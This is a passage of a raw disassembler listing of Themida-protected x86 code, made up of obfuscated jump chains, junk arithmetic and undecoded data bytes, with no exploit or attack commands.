XREF: Themida_:0056B917j jmp loc_566A94 ; --------------------------------------------------------------------------- loc_557B82: ; CODE XREF: Themida_:0055D88Cj not ebp xchg ebp, [esp] pop ebp inc ebp shl ebp, 5 add ebp, 6E497047h push esi mov esi, 23B764BDh and esi, 630A2DF4h add esi, 7B533EF1h jp loc_55731C not esi add esi, 5D876DC4h shr esi, 6 mov ch, 0BEh mov dh, bh loc_557BB9: ; CODE XREF: Themida_:00565C7Fj add esp, 4 sub esp, 4 jmp loc_561BB4 ; --------------------------------------------------------------------------- db 5 dd 43F1122Ch, 9DE9C329h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557BD3: ; CODE XREF: Themida_:0056A053j mov ecx, edx jmp loc_55CFE6 ; --------------------------------------------------------------------------- loc_557BDA: ; CODE XREF: Themida_:0056CD73j pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_56644F ; --------------------------------------------------------------------------- loc_557BEC: ; CODE XREF: Themida_:005688ACj mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_56A42B ; --------------------------------------------------------------------------- aUs db 'UИй╨',0 db 0 byte_557BFF db 0FFh ; DATA XREF: Themida_:00556228o dd 34FF1C77h, 24048B24h, 4A48E9h db 0 ; --------------------------------------------------------------------------- loc_557C0D: ; CODE XREF: Themida_:0056CF1Cj mov eax, [esp] add esp, 4 jmp loc_55D9B6 ; --------------------------------------------------------------------------- aYsq db 'YИ÷е',0 align 2 loc_557C1E: ; CODE XREF: Themida_:005593FDj add ebx, 0E93B94CBh push ecx mov ecx, ebx mov eax, ecx pop ecx jmp loc_55A8DD ; --------------------------------------------------------------------------- db 0C3h dword_557C30 dd 0E92434FFh, 97BCh, 2C8BE989h, 4C48124h, 1000000h, 2C3359CDh ; DATA XREF: Themida_:00556004o dd 242C3124h, 5C242C33h, 7F5CE9h db 0 ; --------------------------------------------------------------------------- loc_557C55: ; CODE XREF: Themida_:loc_56C0F0j or bh, 86h jnz loc_5648CC push ecx mov cl, 6 xor cl, 3Ch add bh, cl pop ecx xchg dl, bh not dl loc_557C6B: ; CODE XREF: Themida_:0055946Dj add esp, 4 pop dword ptr [edi+24h] loc_557C71: ; CODE XREF: Themida_:0055C718j push 5B0Eh jmp loc_556BDB ; --------------------------------------------------------------------------- db 81h dd 4ECh, 296BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C86: ; CODE XREF: Themida_:0056014Aj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_567C7C ; --------------------------------------------------------------------------- db 83h dd 0E6E904ECh, 8B000061h, 0C4812414h, 4, 0C107E6C1h, 5FE902E6h dd 5D000141h, 540E8D1h, 0CFEDFC7Bh, 34FFC101h, 68535824h dd 5927h, 24048F54h, 4240481h, 5B000000h, 4C381h, 0C3810000h dd 4, 0E9241C33h, 14495h, 0BD242C89h, 22E64F96h, 0D7C581h dd 0F581767Dh, 99635069h, 0CCA8E9h, 0BEE8000h, 8BF70058h dd 0CE92414h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557D0F: ; CODE XREF: Themida_:0055D3DBj sub ebp, 0B2CDB4D9h jmp loc_56259E ; --------------------------------------------------------------------------- loc_557D1A: ; CODE XREF: Themida_:0056C834j add dword ptr [esp], 6BE44DFCh pop ebx xchg eax, ebx push edx mov edx, 22249FCh jmp loc_568B83 ; --------------------------------------------------------------------------- loc_557D2E: ; CODE XREF: Themida_:0055E6C6j push dx push ecx mov ch, 0C5h or ch, 0F6h ja loc_55C7AF push small 2CCCh mov [esp], dx push eax mov ah, 51h pop ebp loc_557D48: ; CODE XREF: Themida_:00561A80j push ebp push 4C066AA6h mov ebp, [esp] add esp, 4 jmp loc_5565F2 ; --------------------------------------------------------------------------- aQsup db 'QИ·▐',0 align 2 loc_557D62: ; CODE XREF: Themida_:0056A6E5j mov eax, esi jmp loc_556DFB ; --------------------------------------------------------------------------- loc_557D69: ; CODE XREF: Themida_:005636FEj inc ecx jmp loc_568017 ; --------------------------------------------------------------------------- loc_557D6F: ; CODE XREF: Themida_:005658BDj sub dh, 0CFh js loc_561A66 jmp loc_55C35B ; --------------------------------------------------------------------------- db 0BFh, 66h, 0C7h dd 0C701A9D2h db 58h ; --------------------------------------------------------------------------- loc_557D85: ; CODE XREF: Themida_:005610BDj push edi mov edi, 4D926DEEh add ebp, edi jmp loc_55E0F8 ; --------------------------------------------------------------------------- loc_557D92: ; CODE XREF: Themida_:0055FC95j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push 3E9h mov [esp], ecx push 48252505h pop ecx sub ecx, 4271D6F0h mov eax, ecx jmp loc_565BAE ; --------------------------------------------------------------------------- loc_557DC0: ; CODE XREF: Themida_:0055CBDFj xor eax, edi pop edi add ebx, eax mov eax, [esp] add esp, 4 push 2D7Ah mov [esp], eax mov eax, 4 jmp loc_55C86B ; --------------------------------------------------------------------------- loc_557DDD: ; CODE XREF: Themida_:00568AFAj push small word ptr [esp+2] pop si jmp loc_56AFD0 ; --------------------------------------------------------------------------- loc_557DE9: ; CODE XREF: Themida_:00559149j not ecx sub ecx, 2C9A4206h push esi mov esi, 59F8122Ch sub esi, 6DB32DF4h and esi, 54446117h jmp loc_568F71 ; --------------------------------------------------------------------------- loc_557E08: ; CODE XREF: Themida_:0056CC9Aj shr eax, 8 xor eax, ecx sub esp, 4 jmp loc_565ACE ; --------------------------------------------------------------------------- loc_557E15: ; CODE XREF: Themida_:00569F17j sub esp, 4 jmp loc_55C1E2 ; --------------------------------------------------------------------------- loc_557E20: ; CODE XREF: Themida_:0055A6E1j push ecx mov ecx, 0D3A6F7Fh shr ecx, 3 sub ecx, 7ABE5751h shl ecx, 2 jmp loc_560593 ; --------------------------------------------------------------------------- db 5 dd 0A0816E5h, 0E52DF801h, 50A0816h, 48170C5Ah, 0DAE9565Fh db 83h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557E4F: ; CODE XREF: Themida_:0056AEBAj push edx push 627C0B1Bh pop edx shr edx, 7 jnz loc_56255D dec edx add edx, 0FF3B07EFh push ebp mov ebp, edx mov eax, ebp pop ebp add esi, edi pop edi jmp loc_568BDF ; --------------------------------------------------------------------------- loc_557E74: ; CODE XREF: Themida_:0055833Ej mov [esp], edx mov edx, 7C7C18A4h add eax, 2BD13002h jmp loc_55A71B ; --------------------------------------------------------------------------- loc_557E86: ; CODE XREF: Themida_:0055A7F3j push ebx jmp loc_560824 ; --------------------------------------------------------------------------- loc_557E8C: ; CODE XREF: Themida_:0055E908j sub ecx, 4 xchg ecx, [esp] jmp loc_559843 ; --------------------------------------------------------------------------- loc_557E9A: ; CODE XREF: Themida_:0055704Dj mov edx, 2 add edi, edx pop edx push edi push dword ptr [esp+4] jmp loc_565F47 ; --------------------------------------------------------------------------- loc_557EAC: ; CODE XREF: Themida_:0055AADCj mov ebp, 6BBB79A2h jmp loc_56A544 ; --------------------------------------------------------------------------- loc_557EB6: ; CODE XREF: Themida_:0055E2BCj pop ecx push 31B1h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] add ebx, edx jmp loc_55C814 ; --------------------------------------------------------------------------- loc_557EDD: ; CODE XREF: Themida_:00563915j sub eax, 4 xchg eax, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_567D65 ; --------------------------------------------------------------------------- loc_557EF3: ; CODE XREF: Themida_:00561AADj mov [esp], edx mov edx, 0B210A005h add eax, edx pop edx jmp loc_55CB82 ; --------------------------------------------------------------------------- loc_557F03: ; CODE XREF: Themida_:00569E5Fj sub edi, 4 xchg edi, [esp] jmp loc_5594B8 ; --------------------------------------------------------------------------- loc_557F0E: ; CODE XREF: Themida_:0055C1BEj add ebx, 21546374h jmp loc_5586A9 ; --------------------------------------------------------------------------- db 81h, 0E7h, 0DCh dd 0F57E00Dh, 0F9188Fh, 0B9E94700h, 5C000009h, 88240489h db 0D9h ; --------------------------------------------------------------------------- loc_557F31: ; CODE XREF: Themida_:0055AD02j pop ebx sub ebx, 295A1755h mov edi, ebx mov ebx, [esp] add esp, 4 or edi, 27D40080h jmp loc_55C94D ; --------------------------------------------------------------------------- dw 0CC88h dd 0E188D4F6h, 59CB8858h, 66241C86h, 7AE9515Bh db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557F63: ; CODE XREF: Themida_:0056C5D4j add al, 8Ah jmp loc_5583C1 ; --------------------------------------------------------------------------- dw 0F781h dd 319C2D66h, 43E9DFF7h db 94h, 2 dup(0) byte_557F77 db 66h ; DATA XREF: Themida_:005561BCo dd 5624048Bh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 545C243Ch dd 8324048Fh, 0E9042404h, 136C3h ; --------------------------------------------------------------------------- loc_557F9C: ; CODE XREF: Themida_:0056795Fj mov [esp], ebp push 4 jmp loc_55F74C ; --------------------------------------------------------------------------- loc_557FA9: ; CODE XREF: Themida_:0056CB03j push eax mov eax, 5C4B2330h add eax, 0D9C70976h xor ebp, eax pop eax pop eax add ebp, 64115EB5h jp loc_5634CE dec ebp jmp loc_5665BF ; --------------------------------------------------------------------------- dw 3489h dd 90B85024h, 0C104B876h, 0BE906E8h db 30h, 1, 0 ; --------------------------------------------------------------------------- loc_557FDB: ; CODE XREF: Themida_:0055EEC8j jmp loc_56D675 ; --------------------------------------------------------------------------- loc_557FE0: ; CODE XREF: Themida_:00569A50j mov ecx, [esp] add esp, 4 add esp, 4 push eax push esp pop eax add eax, 4 jmp loc_562FCE ; --------------------------------------------------------------------------- loc_557FF9: ; CODE XREF: Themida_:00564571j add ebp, 41105494h add ebp, edi sub ebp, 41105494h pop edi add ebp, 2 push ebp push dword ptr [esp+4] pop ebp jmp loc_556E80 ; --------------------------------------------------------------------------- loc_558019: ; CODE XREF: Themida_:00561483j and eax, 2D6D4CC3h dec eax jmp loc_568A27 ; --------------------------------------------------------------------------- dd 4525E951h, 0F8310001h, 4E8C15Fh, 2BE7602Dh, 58C50103h dd 354C581h, 2E92D6Dh db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558043: ; CODE XREF: Themida_:0056786Dj jmp loc_5655CB ; --------------------------------------------------------------------------- loc_558048: ; CODE XREF: Themida_:00557853j push edx mov dh, 0DCh sub bl, dh pop edx mov cl, bl pop ebx add cl, dl pop edx and dl, cl push dword ptr [esp] pop ecx jmp loc_568E65 ; --------------------------------------------------------------------------- loc_55805F: ; CODE XREF: Themida_:loc_56A361j jmp loc_560935 ; --------------------------------------------------------------------------- dd 4BA52h, 54010000h, 8B5A0424h, 0C4812414h, 4, 802CE9h db 0 ; --------------------------------------------------------------------------- loc_55807D: ; CODE XREF: Themida_:0055F77Fj add ch, 1 not ch or ch, 34h add ch, 73h jmp loc_556BFB ; --------------------------------------------------------------------------- loc_55808D: ; CODE XREF: Themida_:00567DFBj dec ebp sub ebp, 70271725h jge loc_5668C3 jmp loc_56410C ; --------------------------------------------------------------------------- loc_55809F: ; CODE XREF: Themida_:00564085j add edx, esi mov esi, [esp] jmp loc_56CC78 ; --------------------------------------------------------------------------- loc_5580A9: ; CODE XREF: Themida_:0055875Fj add edi, eax pop eax and eax, edi mov edi, [esp] push edx jmp loc_566920 ; --------------------------------------------------------------------------- db 0E9h dd 7Eh ; --------------------------------------------------------------------------- loc_5580BC: ; CODE XREF: Themida_:00564997j xor eax, edx pop edx add esi, eax pop eax sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_55E997 ; --------------------------------------------------------------------------- loc_5580D1: ; CODE XREF: Themida_:0056ADD6j push 5645071Bh pop ecx inc ecx shr ecx, 6 jmp loc_56CBD6 ; --------------------------------------------------------------------------- loc_5580E0: ; CODE XREF: Themida_:0055E8B9j sub edi, 4275B5ECh add eax, edi jmp loc_569EDF ; --------------------------------------------------------------------------- loc_5580ED: ; CODE XREF: Themida_:00566F0Fj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_55C761 ; --------------------------------------------------------------------------- loc_5580FE: ; CODE XREF: Themida_:0056104Dj xchg ebx, [esp] mov esp, [esp] mov [esp], ebp push esp push dword ptr [esp] pop ebp add esp, 4 push ebx jmp loc_5624DC ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 57000000h, 0F3ABD55h, 7EBF2D06h, 0E958856Bh, 9EC5h ; --------------------------------------------------------------------------- loc_55812C: ; CODE XREF: Themida_:00568459j add ebx, 7D7B772Dh mov edx, [esp] jmp loc_5634B1 ; --------------------------------------------------------------------------- dw 0E7E9h db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55813F: ; CODE XREF: Themida_:0055CC64j jge loc_5601EC jmp loc_55C118 ; --------------------------------------------------------------------------- dw 0D366h dd 569C2424h ; --------------------------------------------------------------------------- loc_558150: ; CODE XREF: Themida_:005574B6j sub dword ptr [esp], 14A265ACh pop esi add esi, 14A265ACh pop edx jmp loc_55C1AD ; --------------------------------------------------------------------------- dd 0CB31D931h, 0D3F7D931h, 0CB31D931h, 0C981D931h, 2B5760C6h dd 40E58A0Fh, 0E9830000h, 0F1BF57FFh, 31364104h db 0F9h ; --------------------------------------------------------------------------- loc_558189: ; CODE XREF: Themida_:0055B89Aj add edi, 5EBFE30Bh jmp loc_563B60 ; --------------------------------------------------------------------------- dd 11DBC281h, 3C8B1CBEh, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 74FF525Ch, 148B0424h, 4C48124h, 8F000000h dd 0E95C2404h, 11484h ; --------------------------------------------------------------------------- loc_5581C4: ; CODE XREF: Themida_:0055DFF4j jmp loc_560304 ; --------------------------------------------------------------------------- loc_5581C9: ; CODE XREF: Themida_:005588F0j add eax, 4 push 21h mov [esp], edi mov edi, 4 add eax, edi mov edi, [esp] add esp, 4 jmp loc_55E98C ; --------------------------------------------------------------------------- loc_5581EB: ; CODE XREF: Themida_:00564C5Bj pop dword ptr [esp] mov esp, [esp] jmp loc_565DEE ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C781h, 3C870000h, 0AF0F5C24h, 0E99C51C8h, 0FFFFE0D7h ; --------------------------------------------------------------------------- loc_558210: ; CODE XREF: Themida_:00563FB0j pop edx add edx, 4 push ebx mov ebx, 7F86542h dec ebx jo loc_569D9C shl ebx, 4 jmp loc_568AB0 ; --------------------------------------------------------------------------- loc_55822C: ; CODE XREF: Themida_:0055CEA3j mov [esp], ecx push esi jmp loc_55E707 ; --------------------------------------------------------------------------- loc_558235: ; CODE XREF: Themida_:0056A556j add esi, 4 sub esi, 4 jmp loc_558474 ; --------------------------------------------------------------------------- dw 0D101h aZsc db 'ZИ√╦',0 align 2 dw 0E7C1h dd 33C78104h, 0E9481C5Dh, 32DBh, 5E2414F7h, 2414F756h dd 8324348Bh, 575504C4h, 8BB3E9h db 0 ; --------------------------------------------------------------------------- loc_558271: ; CODE XREF: Themida_:00556762j shr esi, 3 push ecx mov ecx, 758A1888h xor esi, ecx pop ecx jmp loc_56B394 ; --------------------------------------------------------------------------- loc_558282: ; CODE XREF: Themida_:0055A54Dj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or eax, eax jz loc_55DDFC push ebx push 1Ch pop ebx add ebx, edi push dword ptr [ebx] jmp loc_56B70D ; --------------------------------------------------------------------------- loc_5582AA: ; CODE XREF: Themida_:0055D2C2j add ebp, edx pop edx xchg ebp, [esp] jmp loc_56452C ; --------------------------------------------------------------------------- loc_5582B5: ; CODE XREF: Themida_:00564BB9j jz loc_55E5EE push eax sub esp, 4 mov [esp], ebx sub esp, 4 jmp loc_56AE3A ; --------------------------------------------------------------------------- db 29h, 0E8h, 0E9h dd 109Dh ; --------------------------------------------------------------------------- loc_5582D4: ; CODE XREF: Themida_:0055F5D4j push edx mov edx, 278F1E4Fh dec edx jmp loc_56AC5E ; --------------------------------------------------------------------------- loc_5582E0: ; CODE XREF: Themida_:0056C81Cj push dword ptr [esp] pop esi jmp loc_56B6BB ; --------------------------------------------------------------------------- loc_5582E9: ; CODE XREF: Themida_:0056A999j xor ebp, edi jmp loc_56B2D5 ; --------------------------------------------------------------------------- dword_5582F0 dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFDFE7h ; DATA XREF: Themida_:00556204o ; --------------------------------------------------------------------------- loc_558300: ; CODE XREF: Themida_:0056C43Aj and esi, 4D5A2A2Ch ja loc_565176 add esi, 0DD202587h mov edi, esi pop esi dec edi loc_558316: ; CODE XREF: Themida_:00559F77j pop edx push edx jmp loc_56254E ; --------------------------------------------------------------------------- loc_55831D: ; CODE XREF: Themida_:00559D2Aj xor edx, [esp] pop esp jmp loc_55E9BC ; --------------------------------------------------------------------------- dw 0E950h dd 148Dh, 0C16B44BEh, 0E9C6312Ah, 1246Fh ; --------------------------------------------------------------------------- loc_558338: ; CODE XREF: Themida_:0055FD9Dj xchg ecx, [esp] mov esp, [esp] jmp loc_557E74 ; --------------------------------------------------------------------------- db 0C1h dd 8B0F08EAh, 5232h, 4B7AC281h, 0F08922AEh db 0B5h, 0DDh ; --------------------------------------------------------------------------- loc_558356: ; CODE XREF: Themida_:00556D2Ej add esp, 4 add edx, 0FFFFFFFFh add edx, 0EC17FBF5h add edi, edx pop edx push edi push dword ptr [esp+4] jmp loc_559C52 ; --------------------------------------------------------------------------- loc_558372: ; CODE XREF: Themida_:005662DEj push eax mov eax, 5F0767E0h jmp loc_56B221 ; --------------------------------------------------------------------------- loc_55837D: ; CODE XREF: Themida_:0055636Dj ; Themida_:0055DDA2j mov ebx, 3A845344h jmp loc_56380F ; --------------------------------------------------------------------------- loc_558387: ; CODE XREF: Themida_:005644B0j ; Themida_:00564F5Bj pop edx jmp loc_564D1E ; --------------------------------------------------------------------------- loc_55838D: ; CODE XREF: Themida_:0056355Cj push esi mov esi, 0B6B4D92h xor esi, 3DE559Ah jmp loc_560775 ; --------------------------------------------------------------------------- loc_55839E: ; CODE XREF: Themida_:0055F918j jmp loc_55F0F3 ; --------------------------------------------------------------------------- db 0Fh dd 11ADA88h, 43C3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5583AE: ; CODE XREF: Themida_:00559DA3j add edx, eax push ebp mov ebp, 302837DCh jmp loc_5636D5 ; --------------------------------------------------------------------------- loc_5583BB: ; CODE XREF: Themida_:0055E010j pop esp jmp loc_564901 ; --------------------------------------------------------------------------- loc_5583C1: ; CODE XREF: Themida_:00557F65j mov ecx, [esp] add esp, 4 push 14DAh mov [esp], edx push ebx mov bh, 0Ch sub esp, 4 mov [esp], eax mov ah, 0C8h add ah, 0DBh push ebx mov bl, 0A9h and bl, 0B8h dec bl sub bl, 0DFh xor bl, 0CFh or ah, bl pop ebx push edx mov dh, 57h push eax mov al, 14h jmp loc_5632C0 ; --------------------------------------------------------------------------- loc_5583FC: ; CODE XREF: Themida_:0055C0DFj mov [esp], ecx mov ecx, 4 push ecx pop ebp pop ecx sub esi, 5CDB3D1Dh sub esi, 198D2ABBh add esi, ebp add esi, 198D2ABBh push ebx mov ebx, 5CDB3D1Dh add esi, ebx pop ebx mov ebp, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_568D63 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E7F68100h, 5A71C847h, 639EE955h, 34FF0000h, 0ACE95824h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558457: ; CODE XREF: Themida_:00565FABj pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_55A17E ; --------------------------------------------------------------------------- db 1, 2 dup(0E9h) dd 201Dh ; --------------------------------------------------------------------------- loc_558474: ; CODE XREF: Themida_:00558241j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_55D6C9 ; --------------------------------------------------------------------------- loc_558482: ; CODE XREF: Themida_:0055FE1Ej ; Themida_:005677EAj push edx jmp loc_568037 ; --------------------------------------------------------------------------- loc_558488: ; CODE XREF: Themida_:0055E299j add edi, eax mov eax, [esp] jmp loc_5694D7 ; --------------------------------------------------------------------------- loc_558492: ; CODE XREF: Themida_:00563881j push esi jmp loc_564932 ; --------------------------------------------------------------------------- loc_558498: ; CODE XREF: Themida_:005599A9j ; Themida_:loc_5634E7j mov esi, ecx pop ecx sub esp, 4 mov [esp], eax mov eax, 5E9A07A4h inc eax xchg eax, esi not esi inc esi xchg eax, esi not eax push ecx mov ecx, 359B07C6h and eax, ecx pop ecx not eax xor eax, 0EEFDB33Ah sub esi, eax pop eax xchg ecx, esi push 55B2h mov [esp], ecx not dword ptr [esp] push dword ptr [esp] jmp loc_55F440 ; --------------------------------------------------------------------------- loc_5584D9: ; CODE XREF: Themida_:0056D4DDj mov eax, esp add eax, 4 add eax, 4 jmp loc_563C8C ; --------------------------------------------------------------------------- loc_5584EA: ; CODE XREF: Themida_:00568023j push esi mov esi, 3F804963h add ecx, esi pop esi mov edx, ecx push dword ptr [esp] pop ecx add esp, 4 sub ebp, edx pop edx jmp loc_56D2F6 ; --------------------------------------------------------------------------- loc_558507: ; CODE XREF: Themida_:00567FA0j mov edi, esp push edx push edi jmp loc_56CA63 ; --------------------------------------------------------------------------- loc_558510: ; CODE XREF: Themida_:0056C343j mov edx, esi pop esi xor [esp+4], edx pop edx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ebx jmp loc_562F58 ; --------------------------------------------------------------------------- loc_558527: ; CODE XREF: Themida_:00558A78j ; Themida_:0056B6CCj mov ebx, esp push esi mov esi, 4 jmp loc_563559 ; --------------------------------------------------------------------------- loc_558534: ; CODE XREF: Themida_:00559132j ; Themida_:0055F42Dj mov [esp], esi jmp loc_566A01 ; --------------------------------------------------------------------------- loc_55853C: ; CODE XREF: Themida_:0055AD4Cj ; Themida_:0055DEACj mov ebx, [esp] add esp, 4 push 6869h mov [esp], ecx push 7D833C49h pop ecx push ecx not dword ptr [esp] pop ecx sub ecx, 206055DDh push edx jmp loc_55FA15 ; --------------------------------------------------------------------------- loc_558564: ; CODE XREF: Themida_:00564E9Aj pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_565741 ; --------------------------------------------------------------------------- loc_558573: ; CODE XREF: Themida_:0055AFA7j pop ebx push ebx jmp loc_55D6B7 ; --------------------------------------------------------------------------- loc_55857A: ; CODE XREF: Themida_:00568618j mov esi, [esp] add esp, 4 jmp loc_56A5B5 ; --------------------------------------------------------------------------- loc_558585: ; CODE XREF: Themida_:00569637j mov edx, 721B253Dh xor edi, edx pop edx push ebx mov ebx, 69FC7550h push edx mov edx, 7C8B9C1Ah xor ebx, edx jmp loc_557858 ; --------------------------------------------------------------------------- loc_5585A0: ; CODE XREF: Themida_:0056C418j mov ecx, ebx pop ebx mov ebp, ecx pop ecx add edx, ebp mov ebp, [esp] jmp loc_56217D ; --------------------------------------------------------------------------- loc_5585B0: ; CODE XREF: Themida_:00560AF8j mov eax, [esp] add esp, 4 add esp, 4 add eax, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_568E83 ; --------------------------------------------------------------------------- loc_5585D2: ; CODE XREF: Themida_:0055A194j mov edi, esp add edi, 4 push esi mov esi, 4 push ebp mov ebp, 278B0A95h neg ebp push ebp not dword ptr [esp] jmp loc_561145 ; --------------------------------------------------------------------------- loc_5585F1: ; CODE XREF: Themida_:005616E4j ; Themida_:0056BE45j neg ecx ja loc_569A47 push edx mov edx, 7DE00BCEh jmp loc_55C748 ; --------------------------------------------------------------------------- dd 4244431h, 5612E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55860E: ; CODE XREF: Themida_:loc_56244Ej sub edx, 5A6D96C0h mov eax, edx pop edx inc eax jmp loc_556A14 ; --------------------------------------------------------------------------- db 81h, 0F5h, 8Ch dd 0F0D3303h, 0DAF185h, 78E95600h, 0F0000A9h, 0C22E8Fh db 0 ; --------------------------------------------------------------------------- loc_558635: ; CODE XREF: Themida_:0055F869j mov [esp], ebx push eax mov eax, 712B37EDh mov ebx, eax pop eax add ebp, 79604B1Dh add ebp, ebx sub ebp, 79604B1Dh mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5678C8 ; --------------------------------------------------------------------------- loc_558669: ; CODE XREF: Themida_:0055AF97j push esi jmp loc_55C45B ; --------------------------------------------------------------------------- loc_55866F: ; CODE XREF: Themida_:005564E0j jmp loc_56B99E ; --------------------------------------------------------------------------- loc_558674: ; CODE XREF: Themida_:0056959Dj mov edx, 7AA0452Fh jmp loc_55CF87 ; --------------------------------------------------------------------------- dw 0E951h dd 14066h ; --------------------------------------------------------------------------- loc_558684: ; CODE XREF: Themida_:005642CEj dec eax jno loc_56BD36 push 30F1h mov [esp], edi mov eax, ecx loc_558695: ; CODE XREF: Themida_:00566A83j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_558C85 ; --------------------------------------------------------------------------- loc_5586A9: ; CODE XREF: Themida_:00557F14j mov esi, [esp] push 64B6h mov [esp], ebx push esp pop ebx add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx mov ecx, 0C880D1Bh xchg edi, ecx inc edi jmp loc_55E341 ; --------------------------------------------------------------------------- loc_5586DE: ; CODE XREF: Themida_:0056D4F7j pop ecx sub edx, 0F45FF9A1h jmp loc_5574B5 ; --------------------------------------------------------------------------- loc_5586EA: ; CODE XREF: Themida_:005666FDj add esp, 4 push esi mov esi, 12806072h jmp loc_560C64 ; --------------------------------------------------------------------------- loc_5586F8: ; CODE XREF: Themida_:0055BB57j mov ecx, [esp] add esp, 4 push 7473h jmp loc_560DAE ; --------------------------------------------------------------------------- loc_55870B: ; CODE XREF: Themida_:0055BB96j dec eax jmp loc_559DB3 ; --------------------------------------------------------------------------- loc_558711: ; CODE XREF: Themida_:loc_559529j jmp loc_567358 ; --------------------------------------------------------------------------- loc_558716: ; CODE XREF: Themida_:00566741j push edi mov edi, 51F60D2Dh xor edx, edi mov edi, [esp] jmp loc_55E127 ; --------------------------------------------------------------------------- loc_558726: ; CODE XREF: Themida_:00557735j not esi xor esi, 9A208CB7h mov edi, esi jmp loc_56926A ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0F188E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55873E: ; CODE XREF: Themida_:0056626Ej push ecx jmp loc_55FA49 ; --------------------------------------------------------------------------- loc_558744: ; CODE XREF: Themida_:005579C9j ; Themida_:0056BD62j sub dl, al sub dl, 0E4h sub esp, 4 mov [esp], ebx mov bh, 0E2h jmp loc_563936 ; --------------------------------------------------------------------------- loc_558756: ; CODE XREF: Themida_:0055CF66j add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5580A9 ; --------------------------------------------------------------------------- loc_558764: ; CODE XREF: Themida_:00568E73j add ebp, 4 xchg ebp, [esp] pop esp shl ebp, 4 shr ebp, 8 push ebx mov ebx, 59944CEAh xor ebx, 28CC0FC1h xor ebx, 39A10CBDh xor ebp, ebx pop ebx jmp loc_563A72 ; --------------------------------------------------------------------------- loc_55878E: ; CODE XREF: Themida_:0055987Ej mov eax, 462B748Ah xor eax, 604561AAh push eax not dword ptr [esp] jmp loc_55F5F4 ; --------------------------------------------------------------------------- loc_5587A1: ; CODE XREF: Themida_:00563DC6j or ebx, 697B13BCh push ecx mov ecx, 33F46C1Eh jmp loc_56A167 ; --------------------------------------------------------------------------- dw 1C89h dd 0E98CB724h, 0B314h ; --------------------------------------------------------------------------- loc_5587BC: ; CODE XREF: Themida_:00568947j xor ah, 0BFh not ah sub ah, 0DCh sub bl, ah pop eax sub bl, 9Eh jmp loc_569CDC ; --------------------------------------------------------------------------- db 87h dd 815C2434h, 4ECh, 240C8900h, 42474FFh, 50240C8Bh, 405E089h dd 83000000h, 43304C0h, 24043124h, 8B240433h, 48F2424h dd 24248B24h, 12CDCE9h, 5EF32900h, 32E6C581h, 0E9574C47h dd 5285h ; --------------------------------------------------------------------------- loc_558814: ; CODE XREF: Themida_:0055BD9Bj push eax jmp loc_5566B9 ; --------------------------------------------------------------------------- loc_55881A: ; CODE XREF: Themida_:0055AABDj ; Themida_:0055E185j mov ebx, 0C8B8170h xor edx, ebx jmp loc_55B482 ; --------------------------------------------------------------------------- loc_558826: ; CODE XREF: Themida_:00557B78j jno loc_55AAF6 jmp loc_566A94 ; --------------------------------------------------------------------------- db 81h, 0F1h, 7Dh dd 413E0970h ; --------------------------------------------------------------------------- loc_558838: ; CODE XREF: Themida_:0055E9B0j push edx jmp loc_567E27 ; --------------------------------------------------------------------------- loc_55883E: ; CODE XREF: Themida_:00568605j push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push esi mov esi, 6201104Dh add esi, 11F37A3Fh jnp loc_56B33D add esi, 4C382ADFh jz loc_55B2A1 not edi jmp loc_56A566 ; --------------------------------------------------------------------------- db 0BBh dd 1A4443BDh, 1C8BDA01h, 4C48324h, 0E904EC83h, 0BD34h ; --------------------------------------------------------------------------- loc_55888C: ; CODE XREF: Themida_:005695E0j shr edi, 1 neg edi not edi shl edi, 3 sub edi, 0CFEAEE2Ch sub ebp, edi pop edi add ebp, 2E8B23F2h mov ecx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_55AD90 ; --------------------------------------------------------------------------- loc_5588B8: ; CODE XREF: Themida_:00561DCAj jmp loc_5699F1 ; --------------------------------------------------------------------------- db 81h, 0C2h, 11h dd 10C8B3Bh, 0B96851F2h, 89000060h, 9668241Ch, 5B539237h dd 6FA2E9h db 0 ; --------------------------------------------------------------------------- loc_5588D9: ; CODE XREF: Themida_:005678C3j sub esp, 